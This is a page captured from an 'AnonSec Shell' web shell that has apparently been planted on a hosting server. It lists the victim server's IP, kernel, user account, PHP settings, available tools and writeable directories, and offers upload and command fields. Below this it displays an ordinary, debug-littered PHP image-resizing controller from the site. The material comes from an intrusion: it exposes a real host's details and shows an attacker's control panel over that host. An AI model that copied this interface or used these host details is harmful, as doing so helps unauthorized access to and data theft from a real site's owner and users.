AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.114
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/leo/application/plugins/module_imobles/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/leo/application/plugins/module_imobles/controllers/ImageController.php
<?php

include_once "Controller.php";
include_once __DIR__ . "/../helpers/CrawlerHelper.php";

class ImageController extends Controller {

    protected $cache;
    protected $crawlerHelper;

    public function __construct($ui, $_L, $config, $_pd = null) {
//        @ini_set('memory_limit', '4095M');
//        @ini_set('max_execution_time', 0);
//        @set_time_limit(0);
        parent::__construct($ui, $_L, $config, $_pd);
        
        $this->crawlerHelper = new CrawlerHelper();
    }
    
    public function resizeImg()
    {
//        $path = "application/plugins/module_imobles/uploads/enterprise/1111/images/222.jpg";
//        $height = isset($this->routes[3])?intval($this->routes[3]): 400;
//        $width = isset($this->routes[4])?intval($this->routes[4]): 400;
//        $file = isset($this->routes[5])?$this->routes[5]: 'application/plugins/module_imobles/uploads/enterprise/21011/images/_35fa44c200158416274987161037930.jpg';
        
        var_dump($this->crawlerHelper->insertUploadedImg("_35fa44c200158416274987161037930.jpg", 21011, "backend"));exit;
        
//        header('Content-Type: image/jpeg');
//        readfile($path.$file);

        $this->resizedImg($file,$height,$width);
//        echo $file;
        exit;
    }

    public function resizedImg($file, $width = 400, $height = 800)
    {
        // redimensiono a imagem
        $larguraMaxima  = $width;
        $alturaMaxima   = $height;
        $arquivo        = $file;
        $t              = explode(".", $arquivo);
        $tipoImagem     = $t[count($t)-1];
        if($tipoImagem == "gif")
        {
                $imagemOriginal = imagecreatefromgif($arquivo);
        } 
        else if($tipoImagem == "jpg" || $tipoImagem == "jpeg" || $tipoImagem == "JPG" || $tipoImagem == "JPEG")
        {
                $imagemOriginal = imagecreatefromjpeg($arquivo);
        } 
        else if($tipoImagem == "png" || $tipoImagem == "PNG")
        {
                $imagemOriginal = imagecreatefrompng($arquivo);
        } 
        else 
        {
            echo "Tipo de Arquivo Invalido";
            return false;
        }
        
        list($larguraOriginal, $alturaOriginal) = getimagesize($arquivo);
        if($larguraOriginal > $larguraMaxima || $alturaOriginal > $alturaMaxima)
        {

            if ($larguraOriginal == $alturaOriginal)
            {
                $largura = $larguraMaxima;
                $altura = $alturaMaxima;
            } 
            else if ($larguraOriginal > $alturaOriginal)
            {
                $proporcao = 100 * $larguraMaxima / $larguraOriginal;
                $largura = $larguraMaxima;
                $altura = $alturaOriginal * $proporcao / 100;
            } 
            else if ($larguraOriginal < $alturaOriginal)
            {
                $proporcao = 100 * $alturaMaxima / $alturaOriginal;
                $altura = $alturaMaxima;
                $largura = $larguraOriginal * $proporcao / 100;
            }
            
            $imagemRedimensionada = imagecreatetruecolor($largura, $altura);		
            imagecopyresampled($imagemRedimensionada, $imagemOriginal, 0, 0, 0, 0, $largura, $altura, $larguraOriginal, $alturaOriginal);
            imagedestroy($imagemOriginal);
            
//            header("Content-Type: image/jpg");
//            imagejpeg($imagemRedimensionada);
//            imagedestroy($imagemRedimensionada);
//            exit;
            
//            $name = 'https://www.example.com/image_file.jpg';
//            $fp = fopen($imagemRedimensionada, 'rb');

            // send the right headers
            header('Cache-Control: no-cache, no-store, max-age=0, must-revalidate');
            header('Expires: January 01, 2013'); // Date in the past
            header('Pragma: no-cache');
            header("Content-Type: image/jpg");
            /* header("Content-Length: " . filesize($name)); */

            // dump the picture and stop the script
            echo $imagemRedimensionada;
//            fpassthru($imagemRedimensionada);
            
//            echo $imagemRedimensionada;
            imagedestroy($imagemRedimensionada);
            exit;
            
        }
        else
        {
            echo $imagemOriginal;
            imagedestroy($imagemOriginal);
            exit;
        }
    }

}

Anon7 - 2022
AnonSec Team